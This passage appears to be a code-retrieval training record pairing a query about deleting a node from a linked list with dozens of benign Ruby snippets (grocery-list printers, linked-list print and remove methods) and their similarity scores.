List\"\n\tlist.each{|item, quantity|\n\t\tputs \"#{item} : #{quantity}\"\n\t}\nend", "def pretty_list(list)\n list.each do |grocery_item, qty|\n puts \"#{grocery_item}, quantity: #{qty}\"\n end\nend", "def print_friendly_list(list)\n puts \n puts \"Shopping List:\"\n puts \"----------------\"\n list.each {|key, value| puts \"#{key} #{value}\" }\n puts \nend", "def pretty_list(list)\n puts \"Grocery List:\"\n list.each do |key, value|\n puts \"#{value} #{key}(s)\"\n end\n \nend", "def print_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"#{item.capitalize}: #{quantity}\"\n\tend\nend", "def print_pretty(list)\n list.each { |item, value| puts \"#{item} #{value}\" }\nend", "def prettify_list(list)\n\tlist.each do |item, quantity|\n\t\tp \"You have #{quantity} #{item}\"\n\tend\nend", "def pretty_print(pp)\n pp.group(1, 'Immutable::List[', ']') do\n pp.breakable ''\n pp.seplist(self) { |obj| obj.pretty_print(pp) }\n end\n end", "def printable\n\t\[email protected] do |key, value|\n\t\t\t\"[#{key}] \\\"#{value}\\\"\"\n\t\tend.join(\"\\n\")\n\tend", "def dump\n super\n\n puts \"list entry:\"\n pp list_entry\n puts\n\n puts \"inodes:\"\n each_inode do |inode|\n inode.dump\n end\n puts\n end", "def pretty_list(list)\n # new_list = \"\"\n # list.each { |item, quantity| new_list << \"You want #{quantity} #{item}\\n\" }\n # return new_list\n list.each { |item, quantity| puts \"You want #{quantity} #{item}\\n\" }\nend", "def print_list(list)\n\tputs \"This is what you need to buy:\"\n\tputs \"--------------------\"\n\tlist.each do |item, quantity|\n\t\tputs \" #{item} : #{quantity}\"\n\tend\n\tputs \"--------------------\"\nend", "def print_list\n current_node = @head\n\n until current_node == nil\n\t print \"#{current_node.value} -> \"\n\t current_node = current_node.next\n end\n\n puts '' \t\n end", "def print() #output all the values in the list #Code Type B\n current_node = @head #start from the top... yet, #Code Type B\n if current_node.nil? # if there's no head => the list is empty #Code Type B\n return nil #exit out of this #Code Type B\n end #Code Type B\n puts \"\\nx\\ty\\n------------\" #Code Type A\n\n while current_node != nil #Code Type B\n puts \"#{current_node.x}\\t#{current_node.y}\" #Code Type M\n current_node = current_node.next #Code Type B\n end #Code Type B\n end", "def print_list(list)\r\n puts \"Your current grocery list\"\r\n puts \"---------------------------\"\r\n list.each do |item, quantity|\r\n puts \"#{item}: #{quantity}\"\r\n end \r\nend", "def print_out(list)\n\tlist.each {|item, qty| puts \"#{item}; #{qty}\"}\nend", "def printlist(list) \n\tputs \"Today's Grocery List is:\"\n\tlist.map { |item| puts \"* #{item}\"}\n\t\nend", "def print_list(list)\r\n\r\n\tputs 'Shopping List'\r\n\r\n\tlist.each {|item, quantity| puts \"#{item}: #{quantity}\"}\r\n\t\r\n\tputs \"\"\r\n\r\nend", "def print_list(list)\r\n\tlist.each {|item, quantity| puts \"#{item}: #{quantity}\"}\r\nend", "def print_list(list)\n\tlist.each do |item,count|\n\t\tputs \"#{item}: #{count}\"\n\tend\nend", "def print_list(list)\n p \"Shopping List:\"\n list.each do |k, v|\n p \"Item: #{k}, Qauntity: #{v}\"\n end\nend", "def printItem\n print @category,\", \"\n print @batteryLife,\", \"\n print @modelNum,\", \"\n print @color,\", \"\n print @manufacturer,\", \"\n print @status,\", \"\n print @yearBuilt,\", \"\n print @price,\", \"\n print @features\n end", "def print_list(list)\r\n list.each { |item, quantity| puts \"#{item}: #{quantity}\" }\r\nend", "def print_list(list)\n\t# input: list\n\t# output: none\n\n\t# print header\n\tputs \"Grocery List\\n------------\"\n\t# iterate over list\n\tfor item, qty in list do\n\t\t# print each item to screen ex: \" - Lemonade, 2 liters\"\n\t\tputs \" - #{item}, #{qty}\"\n\tend\n\nend", "def print_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"We need #{quantity} #{item}\"\n\tend\nend", "def print_list (list)\n list.each do |item|\n puts \"* \" + item\n end\nend", "def format_list(items); end", "def print(list)\n list.each do |item|\n puts \"*#{item}\"\n end\nend", "def printList( name, list )\n title( \"#{name} available on #{$params[ :host ]}:#{$params[ :port ]}\", \"=\" )\n list.each {|item| print item.class == DictArrayItem ? \"#{item.name} - #{item.description}\\n\" : item }\n print \"\\n\"\n end", "def printout (list)\n\tlist.each { |item, quantity| puts \"#{item} is #{quantity} \" } \nend", "def print_list(list)\r\n puts \"_-\" *25 + \"\\n\\n\"\r\n puts \"Here is your Grocery List: \\n\\n\"\r\n list.each do |item, quantity|\r\n puts \"\\tItem: #{item} \\tAmount: #{quantity}\"\r\n end\r\n puts \"_-\" *25\r\nend", "def display\n current = @head\n full_list = []\n while current.next != nil\n full_list += [current.data.to_s]\n current = current.next\n end\n full_list += [current.data.to_s]\n puts full_list.join(\"->\")\n end", "def print\n retval = \"[\"\n node = self.head\n until node == nil do\n retval += \"#{node.value}\"\n node = node.next\n if node != nil\n retval += \", \"\n end\n end\n retval += \"]\"\n puts retval\n end", "def print_list(list)\n\tlist.each do |item, quantity|\n\t\tputs \"There are #{quantity} #{item} on the grocery list!!\"\n\tend\nend", "def to_s\r\n @list.map{|el| el.to_s}.join ' | '\r\n end", "def print_list(list)\n puts \"Grocery List\"\n list.each { |item, qty| puts \"#{item}: #{qty}\" }\nend", "def print_list(list)\r\n# input: completed list\r\n# steps:\r\n # iterate over list and print formatted list\r\n puts \"Your Grocery List\"\r\n list.each do |item, quantity|\r\n puts \"#{item}, qty: #{quantity}\"\r\n end\r\n # format: each item with its own line\r\n # \"item - quantity\"\r\n# output: implicit return of list\r\nend", "def pretty_list(grocery_list)\n grocery_list.each do |item, quantity|\n puts \"#{quantity} #{item}\"\n end\nend", "def pretty_list(grocery_list)\n grocery_list.each do |item, quantity|\n puts \"#{quantity} #{item}\"\n end\nend", "def lister(list)\n\tlist.each do |item|\n\t\tputs \"* #{item}\"\n\tend\nend", "def pretty_list(list_name)\r\n list_name.each do |key, value|\r\n p \"#{key}: #{value}\"\r\n end\r\nend", "def print_list(fund_hash)\n fund_hash[:list].each do |item|\n puts \"Name: #{item[:name]}\"\n puts \"Description: #{item[:description]}\"\n puts \"Target: $#{item[:target]}\"\n puts \"Balance: $#{item[:balance]}\"\n puts \"Percentage: #{item[:percentage]}%\"\n puts \"Importance: #{item[:importance]}\"\n puts \"-------------------------\"\n end\n end", "def print_list(list)\n list.each do |item, quantity|\n p \"#{item}: #{quantity}\"\n end\nend", "def print_list(list)\n list.each do |name, quantity|\n puts \"#{name} : #{quantity}\"\n end\nend", "def prettify(list)\r\n\r\n list.each do |item, quantity|\r\n puts \"There are #{quantity} #{item} in the list.\"\r\n end\r\n\r\nend", "def pretty_list(groceries_list)\n\t# Print a line of text to lead into the list\n\tputs \"Here is your updated grocery list:\"\n\t# for each key and value in the list, print a string \n\t# containing the key and value\n\tgroceries_list.each do |item, quantity|\n\t\tputs \"#{item}: #{quantity}\"\n\tend\nend", "def print\n list_head = self.head\n next_node = list_head.next\n while next_node\n next_node = next_node.next unless next_node.next === false\n end\n end", "def pretty_list(grocery_list)\r\n puts \"Your Grocery List for next week!\"\r\n grocery_list.each do |item, num|\r\n puts \"#{item} qty #{num}\"\r\n end\r\n \r\nend", "def print_list(list)\r\n puts \"YOUR LIST:\"\r\n list.each {|key, value| puts \"#{key}: #{value}\"}\r\nend", "def pretty_list(list)\n list.each {|item, quantity| puts \"You need #{quantity} #{item}\"}\nend", "def print_list(list)\n list.each { |item, quantity| puts \"#{item}: #{quantity}\" }\nend", "def print_list(list)\n puts \"This week's grocery list:\"\n list.each do |item, quantity|\n puts \"#{item}: #{quantity}\"\n end\nend", "def print_list(list)\n list.each do |item, quant| \n puts \"Item: #{item}, Quantity: #{quant}\"\n end\nend", "def list_formatter(list)\n\tlist.each do |item, quanity|\n\t\tputs \"we need #{quanity} of #{item}\"\n\tend\nend", "def print_list_delete\n\t\tputs \"\"\n\t\tputs \"\"\n\t\tputs @list_name\n\t\tprint \"-\" * 40\n\t\t@grocery_list.each {|k, v| puts \"#{k} #{v}\"}\n\t\tputs \"\"\n\t\tdelete_item\n\tend", "def print_list(list)\n\tmax_index = list.length;\n\ti=1\n\twhile i<=max_index\n\tprint \"#{i}. #{hash_to_string(list[i-1])}\".center(get_winsize)\n\tprint \"\\n\"\n\ti +=1\n\tend\nend", "def print_list(list)\n list.each do |item, quantity| puts \"#{item}: #{quantity}\"\n\n end\nend", "def pretty_list(list)\n list.each{|food, quantity| puts \"Please get #{quantity} #{food}.\"}\n puts \"Thanks!\"\nend", "def print_list(list)\n puts \"Here's your grocery list:\"\n list.each { |item, quantity| puts \"#{item}: #{quantity}\" }\nend", "def grocery_printer(list)\n\tlist.each do |list_item|\n\t\tputs \"* #{list_item}\"\n\n\tend \nend" ]
[ "0.78825545", "0.7745042", "0.7745042", "0.75637954", "0.74398595", "0.7367223", "0.7222104", "0.71936995", "0.71448636", "0.71383715", "0.71383715", "0.71307075", "0.71196485", "0.71172297", "0.7097041", "0.70625097", "0.70543265", "0.7036249", "0.700103", "0.700103", "0.6993459", "0.69900477", "0.69870603", "0.6976699", "0.695901", "0.6950211", "0.69333297", "0.6931214", "0.6911567", "0.6900693", "0.6899247", "0.6899247", "0.68720037", "0.6870654", "0.6869984", "0.68663013", "0.6857763", "0.6853484", "0.6810628", "0.68101174", "0.6803174", "0.6796683", "0.6776856", "0.6767208", "0.6766315", "0.67618674", "0.6754405", "0.67390597", "0.6733416", "0.67309785", "0.67288274", "0.6711867", "0.67076105", "0.6699983", "0.669803", "0.66877013", "0.6684889", "0.66788185", "0.66777426", "0.6674718", "0.6668369", "0.6661382", "0.665865", "0.66533613", "0.6647313", "0.6645147", "0.66392773", "0.66359097", "0.66307807", "0.66223073", "0.6615303", "0.65793985", "0.65783817", "0.6577938", "0.65750307", "0.6568847", "0.6567887", "0.6563133", "0.6563133", "0.6555324", "0.6553109", "0.65407467", "0.65391386", "0.65381163", "0.65377724", "0.6530654", "0.6529081", "0.6528378", "0.652648", "0.652457", "0.65176195", "0.65171796", "0.6514845", "0.65145415", "0.6504207", "0.65027624", "0.6501496", "0.64949644", "0.6487898", "0.6481274" ]
0.7270045
6
This method removes `node` from the list and must keep the rest of the list intact.
def delete(node) if @head.data == node.data remove_front elsif @tail.data == node.data remove_tail else previousNode = @head placeholder = @head.next while placeholder.data != node.data if placeholder.next previousNode = placeholder placeholder = placeholder.next else return 'node not found' end end previousNode.next = placeholder.next end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove(node)\n end", "def remove_node(node)\n\t\t\tif has_node?(node)\n\t\t\t\tpull_edges_of(node)\n\t\t\t\[email protected](node)\n\t\t\t\t@order -= 1\n\t\t\tend\n\t\t\tself\n\t\tend", "def node_remove(node)\n return unless node_present? node\n nodes.delete prepare_key(node)\n end", "def remove_node(node)\n @nodes_being_worked_on.delete(node)\n @nodes.delete(node)\n # the last edge keeps getting ignored when you remove this, so handling the final case\n assign_node(@edges[0][1]) if @edges.size == 1\n @edges.reject! { |edge| edge.include?(node) }\n end", "def delete(node)\n if [email protected]?\n if @head === node\n remove_front\n elsif @tail === node\n remove_tail\n else # iterate over the list\n current_node = @head\n while !current_node.nil? && current_node.next != node\n current_node = current_node.next #move to the next node\n end\n if current_node.next == node\n current_node.next = current_node.next.next # skip over the matched node and thereby reset current_node's next node.\n end\n end\n end\n end", "def remove node\n # if the node is at beginning or end of list\n # handle this separately\n return remove_first if node.prev_node == nil\n return remove_last if node.next_node == nil\n\n # tell adjacent nodes to 'skip' over this node\n node.next_node.prev_node = node.prev_node\n node.prev_node.next_node = node.next_node\n\n # store the data, so we can return it\n data = node.data\n\n # send to garbage collector\n node.data = nil\n node = node.prev_node = node.next_node = nil\n\n @size -= 1\n\n return data\n end", "def delete(node)\n examined_node = @head\n after_examined_node = @head.next\n\n if examined_node == node #to be deleted item is first on the list\n remove_front()\n elsif node == @tail\n remove_tail()\n else\n\n while examined_node != node\n before_examined_node = examined_node\n\n if examined_node.next == nil\n\n else\n\n examined_node = examined_node.next\n end\n after_examined_node = examined_node.next\n\n if examined_node == node\n temp = before_examined_node\n before_examined_node.next = after_examined_node\n end\n end\n end\n end", "def remove node\n\t\treturn nil unless node\n\t\treturn nil unless self.length > 0\n\n\t\t# head?\n\t\treturn remove_next node if (self.length == 1)\n\n\t\t# Find the precedent node to the node we \n\t\t# want to remove.\n\t\tprev = nil\n\t\tself.current = self.head\n\t\twhile ((prev = self.move_next) != node)\n\t\tend\n\t\tremove_next prev\n\tend", "def del_access_node(node)\n puts \"Deleting Node with value: #{node.value} from the list\"\n if node.next != nil\n node.value = node.next.value\n node.next = node.next.next\n else\n node.value = nil\n end\n print\n end", "def removed(node)\n\t\t\t@size -= 1\n\t\t\treturn node\n\t\tend", "def remove node\n return nil unless node \n # If the node we have to remove is the head of the list, we need to cover two situations\n if node == head\n # Head is the only node in the list. We set head and tail to nil and we are done\n if head.next.nil?\n self.head = self.tail = nil\n else\n # Head is not the only node in the list. \n # The node that’s next to head becomes the new head and the original head goes out of scope.\n self.head = self.head.next\n end\n else\n p = node.prev\n n = node.next\n p&.next = n\n n&.prev = p\n end\n self.length -= 1\nend", "def remove_node(node)\n return nil unless node\n previous_node = node.previous_node\n next_node = node.next_node\n previous_node.next_node = next_node if previous_node\n next_node.previous_node = previous_node if next_node\n self.head = node.next_node if node == head\n node\n end", "def delete(node)\n if node == @head\n remove_front()\n elsif node == @tail\n remove_tail()\n else\n search_until(node)\n @current.next = node.next\n end\n end", "def delete(node)\n if node == self.head\n if self.head == self.tail\n self.head = nil\n self.tail = nil\n node.next = nil\n return node\n end\n self.head = node.next\n node.next = nil\n return node\n end\n \n self.print\n \n node1 = self.head\n until node1.next == node do\n if node1.next == nil\n return nil # not on the list\n end\n node1 = node1.next\n end\n \n node1.next = node.next\n if node == self.tail\n self.tail = node1\n end\n\n node.next = nil\n return node\n end", "def delete(node)\n if @tail == node # if node is tail (or also, where list of 1)\n remove_tail\n elsif @head == node # remove head\n @head = @head.next\n else # remove a middle node\n current_node = @head\n while current_node.next != node\n current_node = current_node.next\n end\n current_node.next = node.next\n end\n end", "def remove_node(node) \n case node\n when @tail\n remove_tail\n when @head\n # this is a good candidate for a helper method!\n @head = node.next_node\n @head.prev_node = nil unless @head.nil?\n @tail = @head if @head.nil? || @head.next_node.nil?\n else\n node.prev_node.next_node = node.next_node unless node.prev_node.nil?\n node.next_node.prev_node = node.prev_node unless node.next_node.nil?\n end\n \n node\n end", "def delete(node)\n remove_node(node)\n end", "def delete(node)\n current_node = self.head.next\n last_node = self.head\n\n if self.head == node\n self.head = self.head.next \n else\n while current_node != nil # Runs through each node in the list.\n if current_node == node # Checks for node to be deleted.\n if current_node == self.tail\n self.tail = last_node\n end\n last_node.next = current_node.next\n end\n last_node = current_node\n current_node = current_node.next\n end\n end\n end", "def remove\n node = @head\n\n if node\n @head = node.next_node\n @tail = nil unless @head\n\n node.data\n end\n end", "def remove!(node)\n super\n key_to_node.delete(node.key)\n self\n end", "def remove node\n\t\treturn nil unless node\n\n\t\tif node == head\n\t\t\tif head.next.nil?\n\t\t\t\tself.head = self.tail = nil\n\t\t\telse\n\t\t\t\tself.head = self.head.next\n\t\t\tend\n\t\telse\n\t\t\ttmp = self.head\n\t\t\twhile tmp && tmp.next != node\n\t\t\t\ttmp = tmp.next\n\t\t\tend\n\t\t\ttmp.next = node.next if tmp\n\t\tend\n\t\tself.length -= 1\n\tend", "def remove(node)\n # Traverse looking for the node\n sets = []\n prev_link = nil\n each_link do |link|\n if link[:ref_id] == node.id\n sets << [prev_link, link]\n next # in case adjacent removal node links\n end\n prev_link = link\n end\n # Now we can just do the join and we're out\n sets.each do |prev_link, the_link|\n if prev_link\n prev_link[:next_id] = the_link[:next_id]\n else\n self[:head_id] = the_link[:next_id]\n end\n # Mark removal\n element_removed!\n end\n # Return the node if any were removed\n node unless sets.empty?\n end", "def delete(node)\n if self.head.data == node.data\n self.remove_front\n else\n temp = self.head\n while temp && (temp.next.data != node.data)\n temp = temp.next\n end\n target = temp.next\n temp.next = target.next\n if temp.next == nil\n self.tail = temp\n end\n end\n end", "def remove node\n\t\treturn nil unless node\n\n\t\tif node == head\n\t\t\tif head.next.nil?\n\t\t\t\tself.head = self.tail = nil\n\t\t\telse\n\t\t\t\tself.head = self.head.next\n\t\t\tend\n\t\telse\n\t\t\tp = node.prev\n\t\t\tn = node.next\n\t\t\tp&.next = n\n\t\t\tn&.prev = p\n\t\tend\n\t\tself.length -= 1\n\tend", "def delete_node(node)\n ## just copy the information of the next node and then cut it out\n node.id = node.next.id\n node.next = node.next.next\nend", "def remove_node(value)\n new_head = remove_node_recursively(@head, value)\n if new_head\n @head = new_head\n else\n puts \"You can't empty list\"\n end\n end", "def remove(node)\n if link = Likewise::Link.find_by_id(key_for(node))\n remove_link(link)\n element_removed!\n element_decremented!(link[:weight])\n end\n node.context = link\n node\n end", "def delete(node)\n if self.head == node\n remove_front\n elsif self.tail == node\n remove_tail\n else\n current_node = self.head\n until current_node.next == node\n current_node = current_node.next\n end\n current_node.next = node.next\n end\n end", "def delete(node)\n if self.head == node # if deleting the head, then the second element becomes\n # the new head\n self.head = node.next\n return node\n end\n\n prev = previous(node) # compute the previous node\n \n if prev != nil\n prev.next = node.next # the previous node now points to the element after node\n end\n \n if self.tail == node # if the node is the last, then the previous becomes the new tail\n self.tail = prev \n end\n\n node.next = nil # no longer in the list, so no next\n return node\n end", "def delete(node)\n if node === @tail\n remove_tail\n return\n elsif node === @head\n remove_front\n return\n else\n current_node = @head\n while current_node.next != node\n current_node = current_node.next\n end\n current_node.next = node.next\n end\n end", "def remove_from_tree(item, node) \n return rebalance(super(item, node))\n end", "def remove node\n # if the node is at beginning or end of list\n # handle this separately\n return remove_first if node == @head\n return remove_last if node == @tail\n\n # store the data, so we can return it\n data = node.data\n\n # iterate through nodes, two at a time\n each_cons(2) do |search_node, next_node|\n # if our second item in a pair is the node we are looking for\n if next_node == node\n # then make the previous node's (i.e the search_node) next node equal to the FOLLOWING\n search_node.next_node = next_node.next_node\n next_node = nil\n break\n end\n end\n\n @size -= 1\n\n return data\n end", "def delete(node)\n if (node == @head)\n @head = node.next\n elsif (node == @tail)\n self.remove_tail\n else\n current = @head\n while (current != node)\n if (current.next == node)\n current.next = node.next\n break\n end\n current = current.next\n end\n end\n end", "def delete(node)\n if node.data == self.head.data\n remove_front\n elsif node.data == self.tail.data\n remove_tail\n else\n current_node = self.head\n prev_node = nil\n\n until current_node.data == node.data\n prev_node = current_node\n current_node = current_node.next\n end\n\n prev_node.next = current_node.next\n current_node.next = nil\n\n return current_node\n end\n end", "def delete(node)\n if @head == node\n remove_front\n elsif @tail == node\n remove_tail\n else\n remove_node(node)\n end\n end", "def delete_node_improved(node)\n node.val = node.next.val\n node.next = node.next.next\nend", "def remove_node\n remove_node_helper(@root)\n end", "def delete(node)\n if node == self.head\n remove_front\n elsif node == self.tail\n remove_tail\n else\n last_node = self.head\n current_node = self.head.next\n while current_node != node\n if current_node == self.tail\n return nil\n else\n last_node = current_node\n current_node = current_node.next\n end\n end\n last_node.next = current_node.next\n end\n end", "def delete(node)\n if self.head != nil\n if node == self.head\n remove_front\n elsif node == self.tail\n remove_tail\n else\n current = self.head\n while current.next != nil && current.next != node\n current = current.next\n end\n temp = current.next.next\n current.next = nil\n current.next = temp\n end\n end\n end", "def delete(node)\n if @head.eql?(node)\n remove_front\n elsif @tail == node\n remove_tail\n else\n current = @head\n until current.next.eql?(node)\n current = current.next\n end\n current.next = node.next\n end\n end", "def delete_node(node)\n return unless node\n\n if node.prev\n node.prev.next = node.next\n end\n\n if node.next\n node.next.prev = node.prev\n end\n\n if node == @head\n @head = node.next\n end\n\n if node == @tail\n @tail = node.prev\n end\n\n @length -= 1\n return node\n end", "def delete(node)\n if self.head == node\n remove_front\n elsif self.tail == node\n remove_tail\n else\n current = self.head\n while current.next != node\n current = current.next\n end\n current.next = node.next\n node.next = nil\n end\n end", "def remove(node)\n node = node.name if Node === node\n riak_admin 'remove', node\n end", "def delete(node)\n if @head != nil\n if @head === node\n remove_front\n elsif @tail === node\n remove_tail\n else\n current = @head\n while current != nil && current.next != node \n current = current.next\n end\n if current.next == node\n current.next = current.next.next\n end\n end\n end \n end", "def remove_node_if\n #_clear_cache #done in clear_node(node)\n all = self.nodes\n all.each do |node|\n if yield node then\n self.clear_node(node)\n @pathway.graph.delete(node)\n end\n end\n self\n end", "def delete_node(node)\n return unless node\n @sem.synchronize do\n left, right = node.left, node.right\n left.nil? ? @head = right : left.right = right\n right.nil? ? @tail = left : right.left = left\n end\n node.right,node.left = nil,nil\n node\n end", "def remove?(node)\n\t\t\tif node.head\n\t\t\t\treturn remove!(node)\n\t\t\tend\n\t\t\t\n\t\t\treturn nil\n\t\tend", "def delete_node(node_to_delete)\n next_node = node_to_delete.next\n\n if next_node\n raise \"Can't delete the last node with this method!\"\n else\n node_to_delete.value = next_node.value\n node_to_delete.next = next_node.next\n end\nend", "def delete(node)\n current = self.head\n if current == node\n self.head = current.next\n return\n else\n while current.next != nil && current.next != node\n current = current.next\n end\n current.next = current.next.next unless current.next === nil\n while current.next != nil\n current = current.next\n end\n self.tail = current\n end\n end", "def delete_after(node)\n node.next = node.next.next\n end", "def delete_node\n node.destroy if node\n end", "def delete_this_node(node)\n node.val = node.next_node.val\n node.next_node = node.next_node.next_node\n return node\nend", "def delete(node)\n removed = nil\n if node == @head\n removed = @head\n node = @head.next\n @head = node\n elsif node == @tail\n removed = @tail\n current = @head\n until current.next == @tail\n current = current.next\n end\n @tail = current\n @tail.next = nil\n else\n current = @head\n until current.next == node\n current = current.next\n end\n link_1 = current\n until current == node\n current = current.next\n end\n link_2 = current.next\n removed = current\n link_1.next = link_2\n end\n removed\n end", "def deleteNode node\n node.val = node.next.val\n node.next = node.next.next\nend", "def clean(node)\n update node, false, true, nil\n end", "def delete(node)\n temp_node = @head\n\n while temp_node != @tail\n if @head == node\n if @head == @tail\n @head = nil\n break\n else\n @head = @head.next\n break\n end\n elsif temp_node.next == node\n if temp_node.next == @tail\n @tail = temp_node\n break\n else\n temp_node.next = temp_node.next.next\n break\n end\n end\n\n temp_node = temp_node.next\n end\n end", "def remove_node(node)\n return if !node_file(node).exist?\n\n txn do\n @repo.rm node_file(node)\n\n message = \"remove node #{node.fqn}\"\n @repo.commit message\n log << \"Database commit: #{message}\"\n end\n end", "def delete_node(current_node)\n\nend", "def remove(node)\n if node.parent.nil?\n @root = nil\n return\n end\n if node.parent.left == node\n node.parent.left = nil\n elsif node.parent.right == node\n node.parent.right = nil\n end\n end", "def remove_node(index)\n\n\t\t# Start at the head\n\t\tcounter = 0\n\t\tcurrent_node = @head\n\t\tprev_node = nil\n\n\t\t# crawl to the index position\n\t\twhile counter < index \n\t\t\tprev_node = current_node\n\t\t\tcurrent_node = current_node.next\n\t\t\tcounter += 1\n\t\tend\n\n\t\t# Now perform removal (cutting out current_node)\n\t\tnext_node = current_node.next\n\t\tcurrent_node.next = nil # clear the pointer\n\t\tprev_node.next = new_node\n\n\t\tputs \"Removed node at index #{index} with value: #{current_node.data}\"\n\tend", "def e31_delete(node, input)\n while node.next != nil\n if node.value == input\n node.value = node.next.value\n node.next = node.next.next\n else\n node = node.next\n end\n end #while ends\n end", "def remove_at_head\n\t\t\treturn nil if self.empty?\n\t\t\telement = self.head\n\t\t\[email protected] = nil || element.next\n\t\t\telement\n\t\tend", "def delete_node(node)\n until node.next.nil?\n next_node = node.next\n node.val = next_node.val\n if next_node.next\n node = node.next\n else\n node.next = nil\n end\n end\nend", "def delete_node this_node\r\n prev_node = this_node.get_prev_node\r\n next_node = this_node.get_next_node\r\n #if the deleted node is currently at the head\r\n if @head == this_node\r\n #set the head to the next node of this node\r\n @head = next_node\r\n #the head will be set to NULL if there's no node after this node (if this node is the only node in the list)\r\n end\r\n #if there's a node before this deleted node\r\n if prev_node != nil\r\n #point the next pointer of the previous node (of the deleted node) to the next node (of the deleted node)\r\n prev_node.set_next_node next_node\r\n end\r\n #if there's a node after this deleted node\r\n if next_node != nil\r\n #point the prev pointer of the next node (of the deleted node) to the previous node (of the deleted node)\r\n next_node.set_prev_node prev_node\r\n end\r\n #OPTIONAL: if the deleted node is at the tail\r\n if @tail == this_node\r\n #update the tail by pointing it to the previous node (of the deleted node)\r\n #this will return NULL if the deleted node is the only node in the list\r\n @tail = prev_node\r\n end\r\n #You can return the list so that you can chain methods\r\n return self\r\n end", "def delete_node(list, head)\n curr = list\n while(curr.next.val != head.val)\n curr = curr.next\n end\n curr.next = head.next\n head = nil\nend", "def clear_node(node)\n if node != nil\n @visited_actors.clear\n end\n end", "def remove(node)\n node.inputs.each do |producer_edge|\n producer_edge.from.outputs.reject! { |edge| edge.to == node }\n end\n\n node.outputs.each do |consumer_edge|\n consumer_edge.to.inputs.reject! { |edge| edge.from == node }\n end\n\n nodes.delete(node)\n end", "def pop() #delete last element in the LL\n return nil if @head == nil #if list is empty return nil\n return @head = nil if self.list_size == 1 #list has 1 element(head) assign head to nil\n temp_node = @head #if list has more then 1 element, travres till last element\n #stop conditon is when second element from current link to nil, means that first\n #from current is last element in the list\n until temp_node.link.link == nil \n temp_node = temp_node.link\n end\n temp_node.link = nil #cat the link with last element by assigning previous link to nil\n end", "def pop\r\n removed_item = @data\r\n @data = @data.next_node\r\n removed_item.next_node = nil\r\n removed_item\r\n end", "def clean_node(node)\n element = node.instance_variable_get(\"@element\")\n directory_response = element.document.css(\"n2|SearchDirectoryResponse\", 'n2' => 'urn:zimbraAdmin').first\n directory_response.children.each {|c| c.remove}\n directory_response.add_child element\n node\n end", "def remove (data)\n if @head.data == data\n @head = @head.next # Move head to the next node\n else\n current_node = @head.next # Go the next element\n prev_node = @head\n while current_node\n if current_node.data == data\n prev_node.next = current_node.next\n return @head # Head didnt change\n end\n prev_node = current_node\n current_node = current_node.next\n end\n\n return @head\n end\n end", "def remove_node\n cspsearchpath.delete(@label)\n end", "def remove(x)\n if x == head\n self.head = head.next\n x.next = nil\n else\n\n el = head\n while el and el != x\n prev = el \n el = el.next\n end\n\n raise ListError, \"Element not found\" unless el\n\n prev.next = el.next\n el.next = nil\n end\n x\n end", "def unlink \n @lnode.unlink unless @lnode.nil?\n end", "def delete_node\n delete(@nodename)\n end", "def unwrap(node)\n node.children.each do |child|\n node.parent << child\n end\n node.remove\n end", "def remove_head(value, node)\n if node.left\n link = max_search(node.left)\n link.right = @head.right\n @head = @head.left\n elsif node.right\n link = min_search(node.right)\n link.left = @head.left\n @head = @head.right\n else\n @head = nil\n end\n end", "def remove_duplicate_without_buffer(node)\n return if node.nil?\n\n c = node\n\n while c\n n = c.next\n while n\n if n.data == c.data\n c.next = n.next\n else\n n = n.next\n end\n end\n c = c.next\n end\nend", "def remove_child(node)\n if node.parent == nil\n raise \"this is an orphan\"\n end \n node.parent = nil\n end", "def node\n purge_node[:node]\n end", "def remove_from_list\n if in_list?\n decrement_positions_on_lower_items\n set_list_position(nil)\n end\n end", "def remove_from_list\n return unless in_list?\n decrement_positions_on_lower_items\n set_my_position nil\n end", "def pop(node = @head)\n if node.next_node.next_node.nil?\n node.next_node = nil\n @tail = node\n return\n end\n pop(node.next_node)\n end", "def remove_at(index)\n return nil if @head.nil? || index > self.size - 1\n if index == 0\n @head = @head.next\n elsif index == self.size - 1\n self.pop(node)\n else\n current_node = @head\n prev_node = nil\n index.times do\n prev_node,current_node = current_node,current_node.next\n end\n end\n prev_node.next = current_node.next\n end", "def delete_head\r\n delete_node @head\r\n end", "def remove_found_node(node)\n #at most one child of new_node, new_node will be removed directly\n if node.left.nil? or node.right.nil?\n #the root is deleted\n if node.parent.nil?\n @root=nil\n node=nil\n return\n end\n r = node\n else\n # new_node has two children --> will be replaced by successor\n r = successor(node)\n node.value = r.value\n end\n\n if r.left.nil?\n p = r.right;\n else\n p = r.left;\n end\n\n unless p.nil?\n p.parent = r.parent;\n end\n if r.parent.nil?\n this.root = p;\n else\n if r==r.parent.left\n r.parent.left=p;\n else\n r.parent.right = p\n # balancing must be done until the root is reached.\n end\n end\n recursive_balance(r.parent)\n r = nil\n end", "def remove(value)\n\t\t\n\t\tnode = @head\n\t\twhile node.value.sal != value do\n\t\t\tnode = node.next\n\t\tend\n\t\t\n\t\tif node != nil\n\t\t\n\t\t\tif node != @head\n\t\t\t\tnode.prev.next = node.next\n\t\t\telse\n\t\t\t\t@head = node.next\n\t\t\tend\n\n\t\t\tif node != @tail\n\t\t\t\tnode.next.prev = node.prev\n\t\t\telse\n\t\t\t\t@tail = node.prev\n\t\t\tend\n\n\t\t\t@size-=1\n\t\tend\t\t\t\n\t\t\t\t\n\tend", "def clean_node!(node)\n raise ArgumentError unless node.is_a?(Nokogiri::XML::Node)\n\n node.traverse do |traversed_node|\n if traversed_node.element?\n clean_element!(traversed_node)\n elsif traversed_node.comment?\n traversed_node.unlink unless @config[:allow_comments]\n elsif traversed_node.cdata?\n traversed_node.replace(Nokogiri::XML::Text.new(traversed_node.text,\n traversed_node.document))\n end\n end\n\n node\n end", "def remove_node(node)\n raise KeyError, \"Error in deleting node #{node} from Graph.\" unless @nodes.key?(node)\n\n neighbours = @adj[node]\n neighbours.each_key { |k| @pred[k].delete(node) }\n @pred[node].each_key do |k|\n @adj[k].delete(node)\n end\n\n @pred.delete(node)\n @adj.delete(node)\n @nodes.delete(node)\n end", "def remove(node)\n @replicas.times do |i|\n key = hash(\"#{node.to_s}:#{i}\")\n @ring.delete(key)\n @nodesort.delete(key)\n end\n end", "def delete_node(node_value)\n current_node = @root_node\n if current_node.get_node_data() == node_value\n @root_node = @root_node.get_next()\n @root_node.set_prev(nil)\n current_node = nil\n else\n while current_node.has_next?()\n current_node = current_node.get_next()\n if current_node.get_node_data() 